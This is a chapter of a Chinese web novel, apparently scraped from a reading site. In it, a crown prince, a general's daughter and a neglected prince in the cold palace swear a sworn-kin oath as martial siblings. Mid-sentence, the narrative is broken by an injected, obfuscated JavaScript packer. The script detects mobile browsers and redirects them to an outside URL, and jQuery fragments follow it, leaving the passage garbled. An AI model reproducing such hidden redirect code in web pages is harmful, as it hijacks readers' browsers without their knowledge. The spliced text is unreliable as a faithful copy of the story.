默认冷灰
24号文字
方正启体

4. 【肆】

作者:邪恶大太阳本书字数:K更新时间:
    春深夏浅,冷宫庭院里那棵老槐树蓊郁成荫,投下大片沉沉的墨绿,也是他们心照不宣的秘所。


    直至这日夜晚,莫忘之来时身后却跟了一个玉凌绝从未见过的人。


    那人穿着一身利落的暗红色劲装,马尾高束,身形挺拔如白杨。她不像宫里那些袅娜的宫娥,而像一团行走的火焰,眉眼间是毫无遮掩的明朗与飒爽。小麦色的健康肌肤在宫灯下泛着柔和的光泽,右耳边一缕发丝被编成细辫,混在高高的马尾里,随着她利落的跳下动作,在空中划出一道俏皮的弧线。


    她眉心那一点殷红的朱砂痣,在她挑眉的动作间,显得格外鲜活夺目。


    玉凌绝几乎是瞬间就绷紧了身体,下意识地退到了莫忘之身后半步,黑沉沉的眼睛里满是警惕与打量。


    “哟,这就是你藏在这儿的小宝贝?” 她上下打量着玉凌绝:“瘦是瘦了点,眼神倒挺凶,像头没断奶的狼崽子。”


    她的直接让玉凌绝有些无措,只能更紧地抿住唇。


    莫忘之轻笑,拍了拍玉凌绝紧绷的肩头,示意他不必紧张。“阿绝,这位是燕沧溟。” 他顿了顿,语气温和,却带着一种不容置疑的坚持:“从今日起,她就是你的师姐了。”


    “师姐?” 玉凌绝和燕沧溟几乎同时出声,一个带着困惑,一个带着讶异。


    燕沧溟挑眉,抱臂看着莫忘之:“我说太子殿下,我这刚回京,就被你拉来这冷宫认亲?师姐师弟的,唱的是哪一出,我燕家枪法可不外传,哪儿来的这么个小豆芽菜师弟?”


    “宫中尊卑是枷锁,师门序齿是缘分。在这四方墙内,我们是太子,是弃子,是罪奴。但在此处,” 莫忘之目光扫过老槐树与这片荒芜的角落,“便只是师姐,师兄,师弟。无关身份,只论长幼。”


    莫忘之的声音不高,却像带着某种让人安心的力量,敲打在玉凌绝的心上。师弟……这个称呼陌生而熟悉,它不带有“皇子”的虚幻,也不带有“弃子”的轻贱,它仿佛划定了一个小小的却只属于他们三个的圈子。


    玉凌绝还在消化这突如其来的身份,燕沧溟已经几步跨到莫忘之身边,压低声音,带着几分真实的错愕:“喂!你来真的?你可是太子!还有这冷宫里的皇子……你知道这意味着什么吗?”


    “意味着从今日起,他是你师弟。” 莫忘之抬眼看她,目光深邃,“如同你是我师姐一样,是真的。”


    燕沧溟与他对视片刻,那双总是飞扬的眸子里闪过诸多情绪,随后她收起了几分玩笑的神色,点点头:“好,你说得对,那些虚头巴脑的没意思。师姐师弟,听着就痛快!”


    她深吸一口气,猛地转过身,再次看向玉凌绝时,眼神已然不同。那不再是看一个陌生孩子的目光,而是带上了几分审视,几分……责任。


    她大步走回玉凌绝面前,不再有刚才的戏谑,神情是罕见的认真,甚至带着点属于将门之后的郑重。


    “听见了?”她看着玉凌绝,声音朗朗,穿透秋风,“殿下金口玉言。从今往后,我,燕沧溟,就是你的师姐。”


    她见玉凌绝仍僵立不动,只是死死盯着她,似乎无法理解这突如其来的关系。她像是想起了什么,忽然伸手,从腰间摸出一样东西,“啪”一声拍在玉凌绝身侧那块半倒的石碑上。


    那是一柄不过小臂长的精钢短匕,皮鞘样式简洁,毫无装饰,却透着沙场淬炼出的冷硬光泽。


    “见面礼。”燕沧溟抬了抬下巴,语气恢复了惯有的豪气,却多了几分不易察觉的别扭的温和,“宫里日子不太平,藏着防身。不会用就先拿着壮胆,以后……师姐教你。”


    玉凌绝的目光从燕沧溟脸上,缓缓移到那柄短匕上。冰冷的金属映出他有些怔忪的脸。他迟疑地伸出手,指尖触碰到那冰冷的皮鞘,一股沉甸甸的,属于力量的质感顺着指尖蔓延开来。


    他抬起头,再次看向燕沧溟。少女站在那里,身姿笔挺,眼神坦荡,像一棵能迎着风雨生长的白杨。


    玉凌绝握起那冰凉沉重的短匕,看着这充满野性与力量的礼物,最后抬起头望向莫忘之。


    莫忘之对他微微颔首,目光在两人之间流转,声音沉静如水:“在这宫墙之内,我们三人便是最亲的人。以后,要唤‘师姐’,要听师姐的话。这是规矩。”


    “规矩”二字,从他口中说出,带着一种超越宫规又不容撼动的力量。


    玉凌绝怔住了。他看看莫忘之,又看看眼前这个笑得张扬,眼神却异常明亮的师姐。“最亲的人”?这个词对他而言太过陌生,也太过沉重。他习惯了被欺凌被遗忘,习惯了一个人在绝境中挣扎,何曾想过会有“亲人”,还是以这样一种强硬的方式被塞到生命里。


    玉凌绝复又低下头,看着手中的匕首,良久,他用极轻极轻,几乎被风吹散的声音,含糊地吐出两个字:


    “……师姐。”


    燕沧溟听着玉凌绝生涩地喊出‘师姐’,眼睛一亮,哈哈大笑起来,那点朱砂痣也在她粲然一笑中舒展开,宛如雪地上骤然绽放的红梅。她伸手用力揉了揉他的头发:“好!光叫师姐师弟的,总觉得少了点意思!”她目光炯炯,在两人脸上扫过,“咱们这师门,没师尊立规矩,没宗祠拜祖师,空口白牙的。”


    “师尊……还没找到。”莫忘之仰头望月,似乎是在回忆某位远在天边的故人。


    玉凌绝抬起头,月光照进他黑沉的眸子里,映出圆月与不解。


    燕沧溟已笑着折下三根粗细相仿的枯枝,手腕一翻,用短匕利落地削去旁逸的杂枝,将它们并排插在泥地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105158|195781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上,如同三炷最简朴的香。“没有高堂祖师,咱们就拜这皇天厚土,拜这冷宫的月亮,拜咱们自己!”


    莫忘之拂了拂衣袍下摆,竟直接席地而坐在那三柱香旁。他抬眼看向燕沧溟和玉凌绝,目光平静却带着一种不容置疑的庄重。


    燕沧溟似乎预感到了什么,利落地收起短匕,学着他的样子盘膝坐下,腰背依旧挺得笔直。玉凌绝犹豫了一下,也慢慢挪过去,在莫忘之另一侧坐下,三人恰好成了一个不规则的三角形。


    没有香烛,没有祭品,只有天际悬挂的明月和身后沉默的老槐树作见证。


    莫忘之伸出手指,点在身前的泥地上。他的动作缓慢而清晰,并列勾勒出三个字——


    燕,忘,绝。


    “天地太大,规矩太沉,师尊……也不知在何方。”莫忘之开口,“但我们三人,于此地相遇,是机缘,亦是命数。”


    他目光转向燕沧溟:“师姐。”


    又看向玉凌绝:“师弟。”


    最后,他指尖轻轻敲了敲那三个字,仿佛敲定了某种契约:“此三字,便是凭证。无高香禀告天地,无血酒祭奠鬼神,只以此心为誓,以此名为契。”


    他顿了顿,声音不高,却字字千斤,一字一句清晰地说道:


    “今日,燕沧溟,莫忘之,玉凌绝,于此结谊。非为君臣,非为主仆,只为师姐,师兄,师弟。福祸相依,生死不负,此心此诺,日月同昭。”


    没有华丽的辞藻,没有激昂的誓言,只有这平淡如水的几句话,却比任何歃血为盟都来得沉重。


    燕沧溟收敛了所有嬉笑之色,她看着地上那三个字,又看看莫忘之,再看向身旁那个瘦小却眼神执拗的师弟,胸口涌动着一股滚烫的热流。她伸出右手,掌心向下,悬在三个字的上方,声音斩钉截铁:


    “说得没错!福祸相依,生死不负!”


    她的目光炯炯,如同边关最亮的星子。


    两双眼睛都落在了玉凌绝身上。


    玉凌绝低着头,看着泥地上那三个紧紧挨在一起的字,缓缓地,也伸出了自己瘦小又带着些许污垢的手,迟疑地覆在了燕沧溟的手背之上。他的手很小,几乎只能盖住师姐的半个手掌,但那动作里,却带着一种孤注一掷的交付。


    然后,他抬起头,黑沉沉的眸子望向莫忘之,带着一种与他年龄不符的郑重,用力地点了点头。


    莫忘之的唇角终于绽开一个清浅而真实的笑容。他伸出修长的手指,最后覆盖在玉凌绝的手背上。


    三只手就这样层层叠叠,悬于象征他们三人的名字之上。一缕月光穿过枝桠,恰好为这简陋而神圣的仪式镀上了一层银白的轮廓。


    没有叩首,没有盟书,只有风穿过宫闱的呜咽,见证着这无声的誓言。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)